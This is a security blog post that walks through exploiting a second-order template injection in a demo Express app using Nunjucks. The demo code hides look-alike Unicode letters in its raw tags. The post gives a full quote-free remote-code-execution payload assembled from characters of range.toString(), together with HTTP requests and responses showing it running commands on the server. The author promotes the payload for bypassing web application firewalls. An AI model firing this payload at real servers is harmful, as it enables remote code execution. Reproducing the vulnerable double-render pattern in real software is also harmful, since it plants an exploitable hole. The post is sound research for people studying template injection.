Post

Nunjucks - Exploiting Second-Order SSTI

No AI was used to write this article

It’s a wonderful summer day outside — the sun is shining, the birds are singing, the flowers are blooming, and yet you are stuck in front of a computer screen in an awe. A piece of code is stuck in your mind and just can’t leave you be.

A mystery

There is an ExpressJS webserver with a clear use of Nunjucks templates; your Burp scan found an SSTI:

But you can’t really figure out where the injection happens in the code…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import express from 'express';
import nunjucks from 'nunjucks';
import requestIp from 'request-ip';

const USER_MAPPINGS = {
    '1': 'Alice Wonderman',
    '2': 'Bob The Builder',
    '3': 'Charlie Tester'
}

const app = express();
app.use(requestIp.mw());

const nunjucksRenderer = nunjucks.configure({ autoescape: true });

function renderTemplate(template, context) {
    return nunjucksRenderer.renderString(template, context);
}

function globalTemplateMiddleware(req, res, next) {
    const userAgent = req.headers['user-agent'] || 'Unknown User Agent';
    const clientIp = req.clientIp || '0.0.0.0';

    const globalTemplate = `
        {% rаw %}
        <h1>{{pageTitle}}</h1>

        {{pageContent}}
        {% еndraw %}
        
        <hr>
        <p><strong>IP Address:</strong> {{ clientIp }}</p>
        <p><strong>User Agent:</strong> {{ userAgent }}</p>
        
    `;

    req.context = {
        globalTemplate: renderTemplate(globalTemplate, {clientIp: clientIp, userAgent: userAgent})
    };

    next();
}

app.get('/welcome', globalTemplateMiddleware, (req, res) => {
    const userId = req.query.userid;
    if (!userId) {
        return res.status(400).send("Error: Please provide a 'userid' query parameter (e.g., /welcome?userid=1)");
    }

    const username = USER_MAPPINGS[userId];
    if (!username) {
        return res.status(404).send(`Error: User ID not found in mappings.`);
    }

    let response = renderTemplate(req.context.globalTemplate, {
        pageTitle: "Welcome page",
        pageContent: renderTemplate(
            "Welcome, {{ username }}! How is your day?",
            {username: username}
        )}
    )

    res.type('html').send(response);
});

app.listen(3000, () => {
    console.log('Server listening at http://localhost:3000');
});

Is the SSTI here?

Here?

Or here?

And how does it happen exactly? All function calls seem to properly separate template data and user input.

Yet, trivial payloads, like {{7*7}} execute correctly. There is no doubt an SSTI is out there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET /welcome?userid=2 HTTP/1.1
Host: localhost:3000
User-Agent: {{7*7}}

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 283
ETag: W/"11b-vzKWJxVtdApODoscpUMY+b12AdM"
Date: Mon, 03 Nov 2025 15:42:18 GMT
Connection: keep-alive
Keep-Alive: timeout=5

        
<h1>Welcome page</h1>

Welcome, Bob The Builder! How is your day?

<hr>
<p><strong>IP Address:</strong> ::ffff:127.0.0.1</p>
<p><strong>User Agent:</strong> 49</p>
    

But other common payloads for Nunjucks seem to break the application in a peculiar way:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
GET /welcome?userid=2 HTTP/1.1
Host: localhost:3000
User-Agent: {{range.constructor("return global.process.mainModule.require('child_process').execSync('touch /tmp/ssti_rce_poc')")()}}

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 1517
Date: Mon, 03 Nov 2025 13:54:56 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Template render error: (unknown path) [Line 10, Column 74]<br> &nbsp;parseSignature: expected comma after expression<br> &nbsp; &nbsp;at Object._prettifyError (/Users/trout/projects/blog/nunjucks_second_order_ssti/node_modules/nunjucks/src/lib.js:32:11)<br> &nbsp; &nbsp;at Template.render (/Users/trout/projects/blog/nunjucks_second_order_ssti/node_modules/nunjucks/src/environment.js:442:21)<br> &nbsp; &nbsp;at Environment.renderString (/Users/trout/projects/blog/nunjucks_second_order_ssti/node_modules/nunjucks/src/environment.js:313:17)<br> &nbsp; &nbsp;at renderTemplate (file:///Users/trout/projects/blog/nunjucks_second_order_ssti/server.js:18:29)<br> &nbsp; &nbsp;at file:///Users/trout/projects/blog/nunjucks_second_order_ssti/server.js:57:20<br> &nbsp; &nbsp;at Layer.handleRequest (/Users/trout/projects/blog/nunjucks_second_order_ssti/node_modules/router/lib/layer.js:152:17)<br> &nbsp; &nbsp;at next (/Users/trout/projects/blog/nunjucks_second_order_ssti/node_modules/router/lib/route.js:157:13)<br> &nbsp; &nbsp;at globalTemplateMiddleware (file:///Users/trout/projects/blog/nunjucks_second_order_ssti/server.js:42:5)<br> &nbsp; &nbsp;at Layer.handleRequest (/Users/trout/projects/blog/nunjucks_second_order_ssti/node_modules/router/lib/layer.js:152:17)<br> &nbsp; &nbsp;at next (/Users/trout/projects/blog/nunjucks_second_order_ssti/node_modules/router/lib/route.js:157:13)</pre>
</body>
</html>

This will be fun!

The bug

There is no point in the code where the user input is embedded into the template string and immediately executed in a classical SSTI fashion. Nonetheless, as will be shown later, the input does end up in one of the templates eventually, causing the injection.

The actual vulnerable code is located in the globalTemplateMiddleware function. This middleware renders an intermediate globalTemplate variable with some of the request metadata - user IP and user agent.

The globalTemplate is intended to be reused down the line to serve the actual response - it will be rendered once again with the pageTitle and pageContent variables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function globalTemplateMiddleware(req, res, next) {
    ...
    const globalTemplate = `
        {% rаw %}
        <h1>{{pageTitle}}</h1>

        {{pageContent}}
        {% еndraw %}
        
        <hr>
        <p><strong>IP Address:</strong> {{ clientIp }}</p>
        <p><strong>User Agent:</strong> {{ userAgent }}</p>
        
    `;
    
    req.context = {
        globalTemplate: renderTemplate(globalTemplate, {clientIp: clientIp, userAgent: userAgent})
    };
    
    next();
 }

After the first render, the globalTemplate content will look like this:

1
2
3
4
5
6
7
8
9
<h1>{{pageTitle}}</h1>

{{pageContent}}

<hr>
<p><strong>IP Address:</strong> 127.0.0.1 </p>
<p><strong>User Agent:</strong> Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36</p>

Since we control the User-Agent request header, we might as well inject any arbitrary data inside this part of the template.

The poisoned globalTemplate is then rendered again inside the actual route handler to serve the response. While the Nunjucks API use is correct here (nothing gets dynamically added to the template), user input is already inside the req.context.globalTemplate variable from the initial middleware render!

Thus, any subsequent render of the template from the middleware will cause the SSTI. In fact, this is a second-order SSTI!

1
2
3
4
5
6
7
let response = renderTemplate(req.context.globalTemplate, {  // <--- vulnerable line
    pageTitle: "Welcome page",
    pageContent: renderTemplate(
        "Welcome, {{ username }}! How is your day?",
        {username: username}
    )}
)

There is a problem with the actual SSTI exploit, however. Can you guess what it is?

.

.

.

.

.

.

.

Nunjucks HTML-encodes all template variables by default, which causes problems down the line.

The HTML encoding will affect any HTML special characters, including ', " , & , < and >. This behavior will obviously make any payloads that use those characters invalid.

Trivial SSTI payloads will not be affected:

1
2
3
4
5
$ node      
> let nunjucks = require("nunjucks");

> nunjucks.renderString("{{var}}", {var:"{{7*7}}"})
'{{7*7}}'

But the more advanced ones, including the standard RCE payload, will be broken by such encoding:

1
2
3
4
5
6
$ node
> let nunjucks = require("nunjucks");

> nunjucks.renderString("{{var}}", {var:"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('touch /tmp/ssti_rce_poc')\")()}}"})

'{{range.constructor(&quot;return global.process.mainModule.require(&#39;child_process&#39;).execSync(&#39;touch /tmp/ssti_rce_poc&#39;)&quot;)()}}'

Something must be done to bypass the encoding.

Putting the pieces together

Let’s take one more look at the classic, textbook, RCE payload. It seems to redefine the constructor property of one of the Nunjucks global functions:

1
{{range.constructor("return global.process.mainModule.require('child_process').execSync('touch /tmp/rce_poc')")()}}

There are three such global functions in total, each one affected by this method of prototype pollution → RCE chain:

  • range([start], stop, [step])
  • cycler(item1, item2, ...itemN)
  • joiner([separator])

The RCE payload boils down to:

1
{{range.constructor("MALICIOUS_JS_CODE")()}}

We can learn a couple of wonderful tricks from the textbook payload:

  1. Nunjucks seems to allow the access to standard JavaScript properties of global functions, including obviously dangerous ones, like constructor.
  2. It seems that you can not only pass the data to such built-in object methods, but also call them directly.

Nunjucks has a rich built-in functionality and has a support for local template variables within the template markup itself.

What if we try to assemble the "MALICIOUS_JS_CODE" in a Nunjucks variable and pass it to the range.constructor() call like in the standard RCE payload above? This seems to work just fine:

1
2
3
4
5
6
7
$ node

> let nunjucks = require('nunjucks');
undefined

> nunjucks.renderString(`{% set payload="return require('child_process').execSync('id')" %}{{range.constructor(payload)()}}`)
'uid=501(trout) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)\n'

The next question is HOW to assemble the string in the payload variable. Remember, we can’t use any quotes there.

JavaScript, being JavaScript, of course, has a neat answer to our problem — we can abuse the built-in .toString() method to cast any object (including functions) into a string. Then we can use strings’ characters though the direct index access to assemble whatever we need (e.g. string[13] + string[27] + ...)

As you can see from the below example, we can cast our global Nunjucks functions and their constructors to a string!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /welcome?userid=2 HTTP/1.1
Host: localhost:3000
User-Agent: {{range.constructor.toString()}}

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 446
...

<p><strong>IP Address:</strong> ::ffff:127.0.0.1</p>
<p><strong>User Agent:</strong> function () {
  for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 &lt; _len2; _key2++) {
    args[_key2] = arguments[_key2];
   }
   return obj[val].apply(obj, args);
}</p>

Our strategy goes as follows:

  1. Cast some of the global functions (and their constructors) to string via the built-in toString method.
  2. Use characters from strings in step 1 to construct a gadget that would allow us to execute any arbitrary code without quotes. A simplest one would be return eval(String.fromCharCode())
  3. Put our gadget and the arbitrary code from step 2 into a template variable, e.g. payload.
  4. Perform the RCE - chain all 3 steps with a textbook payload, e.g.{% set payload = range_str[x]+range_str[y]+...+range_str[z] %}{{range.constructor(payload)()}}.

Living off the land

Having obtained the code from the Nunjucks globals with the toString() casts, we can now use this little Python snippet to able to look up all the necessary chars for the payload.

The Python code will look up each unique characters from the payload in the JS function code and will return it’s array indices. We’ll then format these array indices in a set of Nunjucks variable definitions to use later.

It turns out that only the range function code and its constructor have the necessary characters to assemble the return eval(String.fromCharCode()) string!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
range_constructor_str = """function () {
      for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
        args[_key2] = arguments[_key2];
      }
      return obj[val].apply(obj, args);"""

range_str = """function range(start, stop, step) {
      if (typeof stop === 'undefined') {
        stop = start;
        start = 0;
        step = 1;
      } else if (!step) {
        step = 1;
      }
      var arr = [];
      if (step > 0) {
        for (var i = start; i < stop; i += step) {
          arr.push(i);
        }
      } else {
        for (var _i = start; _i > stop; _i += step) {
          // eslint-disable-line for-direction
          arr.push(_i);
        }
      }
      return arr;"""

def get_char_pos(char):
    pos = range_str.find(char)
    if pos != -1:
        return pos, 'range_str'
    pos = range_constructor_str.find(char)
    if pos != -1:
        return pos, 'range_constructor_str'
    return -1, 'not_found'

payload = 'return eval(String.fromCharCode(,))'
payload_unique_chars = set(payload.lower())

special_char_mapping = {
    '.': 'dot',
    ' ': 'space',
    '(': 'lbracket',
    ')': 'rbracket',
    ',': 'comma'
}

for char in payload_unique_chars:
    pos, func_name = get_char_pos(char)
    print(f'{{% set {special_char_mapping.get(char, char)}={func_name}[{pos}] %}}')

We now have a neccessary set of local Nunjucks template variables, each one containing the corresponding letter/symbol required to assemble the final string:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{% set space=range_str[8] %}
{% set u=range_str[1] %}
{% set i=range_str[5] %}
{% set l=range_str[145] %}
{% set comma=range_str[20] %}
{% set s=range_str[15] %}
{% set v=range_str[194] %}
{% set h=range_str[298] %}
{% set f=range_str[0] %}
{% set a=range_str[10] %}
{% set n=range_str[2] %}
{% set e=range_str[13] %}
{% set t=range_str[4] %}
{% set lbracket=range_str[14] %}
{% set o=range_str[6] %}
{% set m=range_constructor_str[41] %}
{% set d=range_str[65] %}
{% set c=range_str[3] %}
{% set g=range_str[12] %}
{% set dot=range_str[294] %}
{% set r=range_str[9] %}
{% set rbracket=range_str[32] %}

An attentive reader may notice, though, that we only have the lowercase characters at this moment, but our payload requires several capitalized chars. Moreover, we’ve not yet considered how to deal with the actual encoded payload inside the String.fromCharCode() function.

To that I can only say that JavaScript offers an unmatched syntax flexibility, loved by developers, and preached by hackers — you can go completely bonkers in this language and still get code that executes.

To get capital chars, we can simply use | capitalize Nunjucks filter. Neat!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /welcome?userid=2 HTTP/1.1
Host: localhost:3000
User-Agent: {% set rangeStr=range.toString()%} {% set s=rangeStr[15] %}{% set S=s|capitalize %}{{S}}

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 171
ETag: W/"ab-5OLH9jFMHUmx1R8WkPSpg32DeEY"
Date: Mon, 03 Nov 2025 18:34:48 GMT
Connection: keep-alive
Keep-Alive: timeout=5

...
<p><strong>User Agent:</strong>  S</p>
    

To pass a char-encoded payload into the fromCharCode input, we can make use of the dynamic types in JavaScript. If we add a number to a string, it will be treated as a char!

1
2
3
4
$ node
...
> "a"+7
'a7'

Actual PoC

We now have everything to assemble a proper payload.

  1. First we get our source strings from range and its constructor:
    1
    
     {% set range_str=range.toString() %} {% set range_constructor_str=range.constructor.toString() %}
    
  2. Then we resolve all chars that we need:
    1
    
     {% set range_str=range.toString() %} {% set range_constructor_str=range.constructor.toString() %} {% set f=range_str[0] %}{% set l=range_str[145] %}{% set a=range_str[10] %}{% set rbracket=range_str[32] %}{% set d=range_str[65] %}{% set space=range_str[8] %}{% set r=range_str[9] %}{% set s=range_str[15] %}{% set h=range_str[298] %}{% set c=range_str[3] %}{% set e=range_str[13] %}{% set i=range_str[5] %}{% set g=range_str[12] %}{% set dot=range_str[294] %}{% set m=range_constructor_str[41] %}{% set o=range_str[6] %}{% set n=range_str[2] %}{% set t=range_str[4] %}{% set lbracket=range_str[14] %}{% set comma=range_str[20] %}{% set v=range_str[194] %}{% set u=range_str[1] %}
    
  3. Then we create some of the capital chars that we need:
    1
    
     {% set f=range_str[0] %}{% set l=range_str[145] %}{% set a=range_str[10] %}{% set rbracket=range_str[32] %}{% set d=range_str[65] %}{% set space=range_str[8] %}{% set r=range_str[9] %}{% set s=range_str[15] %}{% set h=range_str[298] %}{% set c=range_str[3] %}{% set e=range_str[13] %}{% set i=range_str[5] %}{% set g=range_str[12] %}{% set dot=range_str[294] %}{% set m=range_constructor_str[41] %}{% set o=range_str[6] %}{% set n=range_str[2] %}{% set t=range_str[4] %}{% set lbracket=range_str[14] %}{% set comma=range_str[20] %}{% set v=range_str[194] %}{% set u=range_str[1] %} {%set S=s|capitalize %} {% set C=c|capitalize %}
    
  4. Then we assemble the payload. The syntax looks very funny, but just trust the process:
    1
    
     {% set range_str=range.toString() %} {% set range_constructor_str=range.constructor.toString() %} {% set f=range_str[0] %}{% set l=range_str[145] %}{% set a=range_str[10] %}{% set rbracket=range_str[32] %}{% set d=range_str[65] %}{% set space=range_str[8] %}{% set r=range_str[9] %}{% set s=range_str[15] %}{% set h=range_str[298] %}{% set c=range_str[3] %}{% set e=range_str[13] %}{% set i=range_str[5] %}{% set g=range_str[12] %}{% set dot=range_str[294] %}{% set m=range_constructor_str[41] %}{% set o=range_str[6] %}{% set n=range_str[2] %}{% set t=range_str[4] %}{% set lbracket=range_str[14] %}{% set comma=range_str[20] %}{% set v=range_str[194] %}{% set u=range_str[1] %} {%set S=s|capitalize %} {% set C=c|capitalize %} {% set payload=r+e+t+u+r+n+space+e+v+a+l+lbracket+S+t+r+i+n+g+dot+f+r+o+m+C+h+a+r+C+o+d+e+lbracket+rbracket+rbracket %} {{payload}}
    

Quick intermediary test, and things are looking good! As you can see, we indeed were able to construct a string that we needed on the backend through 2nd order SSTI.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GET /welcome?userid=2 HTTP/1.1
Host: localhost:3000
User-Agent: {% set range_str=range.toString() %} {% set range_constructor_str=range.constructor.toString() %} {% set f=range_str[0] %}{% set l=range_str[145] %}{% set a=range_str[10] %}{% set rbracket=range_str[32] %}{% set d=range_str[65] %}{% set space=range_str[8] %}{% set r=range_str[9] %}{% set s=range_str[15] %}{% set h=range_str[298] %}{% set c=range_str[3] %}{% set e=range_str[13] %}{% set i=range_str[5] %}{% set g=range_str[12] %}{% set dot=range_str[294] %}{% set m=range_constructor_str[41] %}{% set o=range_str[6] %}{% set n=range_str[2] %}{% set t=range_str[4] %}{% set lbracket=range_str[14] %}{% set comma=range_str[20] %}{% set v=range_str[194] %}{% set u=range_str[1] %} {%set S=s|capitalize %} {% set C=c|capitalize %} {% set payload=r+e+t+u+r+n+space+e+v+a+l+lbracket+S+t+r+i+n+g+dot+f+r+o+m+C+h+a+r+C+o+d+e+lbracket+rbracket+rbracket %} {{payload}}

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 209
ETag: W/"d1-cxiniP93XdoP2LBCZJzOo/4IgLg"
Date: Mon, 03 Nov 2025 18:40:31 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<h1>Welcome page</h1>

Welcome, Bob The Builder! How is your day?

<hr>
<p><strong>IP Address:</strong> ::ffff:127.0.0.1</p>
<p><strong>User Agent:</strong>       return eval(String.fromCharCode())</p>
    

We can weaponize this payload on a whim by using this CyberChef recipe. The recipe encodes the given string into a Base10 charcode and replaces all , characters with the corresponding add operations and the comma variable, available in our payload from the earlier character lookup:

The final payload looks like this:

1
{% set range_str=range.toString() %} {% set range_constructor_str=range.constructor.toString() %} {% set f=range_str[0] %}{% set l=range_str[145] %}{% set a=range_str[10] %}{% set rbracket=range_str[32] %}{% set d=range_str[65] %}{% set space=range_str[8] %}{% set r=range_str[9] %}{% set s=range_str[15] %}{% set h=range_str[298] %}{% set c=range_str[3] %}{% set e=range_str[13] %}{% set i=range_str[5] %}{% set g=range_str[12] %}{% set dot=range_str[294] %}{% set m=range_constructor_str[41] %}{% set o=range_str[6] %}{% set n=range_str[2] %}{% set t=range_str[4] %}{% set lbracket=range_str[14] %}{% set comma=range_str[20] %}{% set v=range_str[194] %}{% set u=range_str[1] %} {%set S=s|capitalize %} {% set C=c|capitalize %} {% set payload=r+e+t+u+r+n+space+e+v+a+l+lbracket+S+t+r+i+n+g+dot+f+r+o+m+C+h+a+r+C+o+d+e+lbracket+103+comma+108+comma+111+comma+98+comma+97+comma+108+comma+46+comma+112+comma+114+comma+111+comma+99+comma+101+comma+115+comma+115+comma+46+comma+109+comma+97+comma+105+comma+110+comma+77+comma+111+comma+100+comma+117+comma+108+comma+101+comma+46+comma+114+comma+101+comma+113+comma+117+comma+105+comma+114+comma+101+comma+40+comma+39+comma+99+comma+104+comma+105+comma+108+comma+100+comma+95+comma+112+comma+114+comma+111+comma+99+comma+101+comma+115+comma+115+comma+39+comma+41+comma+46+comma+101+comma+120+comma+101+comma+99+comma+83+comma+121+comma+110+comma+99+comma+40+comma+39+comma+116+comma+111+comma+117+comma+99+comma+104+comma+32+comma+47+comma+116+comma+109+comma+112+comma+47+comma+114+comma+99+comma+101+comma+95+comma+112+comma+111+comma+99+comma+39+comma+41+rbracket+rbracket%} {{payload}}

We get no error by executing this payload on the server, which must be a good sign:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /welcome?userid=2 HTTP/1.1
Host: localhost:3000
User-Agent: {% set range_str=range.toString() %} {% set range_constructor_str=range.constructor.toString() %} {% set f=range_str[0] %}{% set l=range_str[145] %}{% set a=range_str[10] %}{% set rbracket=range_str[32] %}{% set d=range_str[65] %}{% set space=range_str[8] %}{% set r=range_str[9] %}{% set s=range_str[15] %}{% set h=range_str[298] %}{% set c=range_str[3] %}{% set e=range_str[13] %}{% set i=range_str[5] %}{% set g=range_str[12] %}{% set dot=range_str[294] %}{% set m=range_constructor_str[41] %}{% set o=range_str[6] %}{% set n=range_str[2] %}{% set t=range_str[4] %}{% set lbracket=range_str[14] %}{% set comma=range_str[20] %}{% set v=range_str[194] %}{% set u=range_str[1] %} {%set S=s|capitalize %} {% set C=c|capitalize %} {% set payload=r+e+t+u+r+n+space+e+v+a+l+lbracket+S+t+r+i+n+g+dot+f+r+o+m+C+h+a+r+C+o+d+e+lbracket+103+comma+108+comma+111+comma+98+comma+97+comma+108+comma+46+comma+112+comma+114+comma+111+comma+99+comma+101+comma+115+comma+115+comma+46+comma+109+comma+97+comma+105+comma+110+comma+77+comma+111+comma+100+comma+117+comma+108+comma+101+comma+46+comma+114+comma+101+comma+113+comma+117+comma+105+comma+114+comma+101+comma+40+comma+39+comma+99+comma+104+comma+105+comma+108+comma+100+comma+95+comma+112+comma+114+comma+111+comma+99+comma+101+comma+115+comma+115+comma+39+comma+41+comma+46+comma+101+comma+120+comma+101+comma+99+comma+83+comma+121+comma+110+comma+99+comma+40+comma+39+comma+116+comma+111+comma+117+comma+99+comma+104+comma+32+comma+47+comma+116+comma+109+comma+112+comma+47+comma+114+comma+99+comma+101+comma+95+comma+112+comma+111+comma+99+comma+39+comma+41+rbracket+rbracket%} {{range.constructor(payload)()}}

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 175
ETag: W/"af-c4vhXLxl/fImQUe75v8OxzJGczU"
Date: Mon, 03 Nov 2025 18:58:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<h1>Welcome page</h1>

Welcome, Bob The Builder! How is your day?

<hr>
<p><strong>IP Address:</strong> ::ffff:127.0.0.1</p>
<p><strong>User Agent:</strong>       </p>

Let’s look at the /tmp directory:

1
2
3
4
5
6
$ ls -la /tmp/
total 8
drwxrwxrwt  15 root   wheel   480 Nov  3 19:57 ./
drwxr-xr-x   6 root   wheel   192 Oct 10 21:09 ../
...
-rw-r--r--@  1 trout  wheel     0 Nov  3 19:58 rce_poc

Hell yeah, the payload worked! We managed to exploit a second-order SSTI in Nunjucks, and in quite a peculiar way, too! JavaScript truly is something beautiful.

As a bonus, the above payload can be used to exploit a regular Nunjucks SSTI in cases where quotes are not accessible OR obfuscate your SSTI payload to bypass a WAF. Hope you learned something today! See ya next time, hackerzzz

Oh, and don’t render your templates twice, I guess :P

This post is licensed under CC BY 4.0 by the author.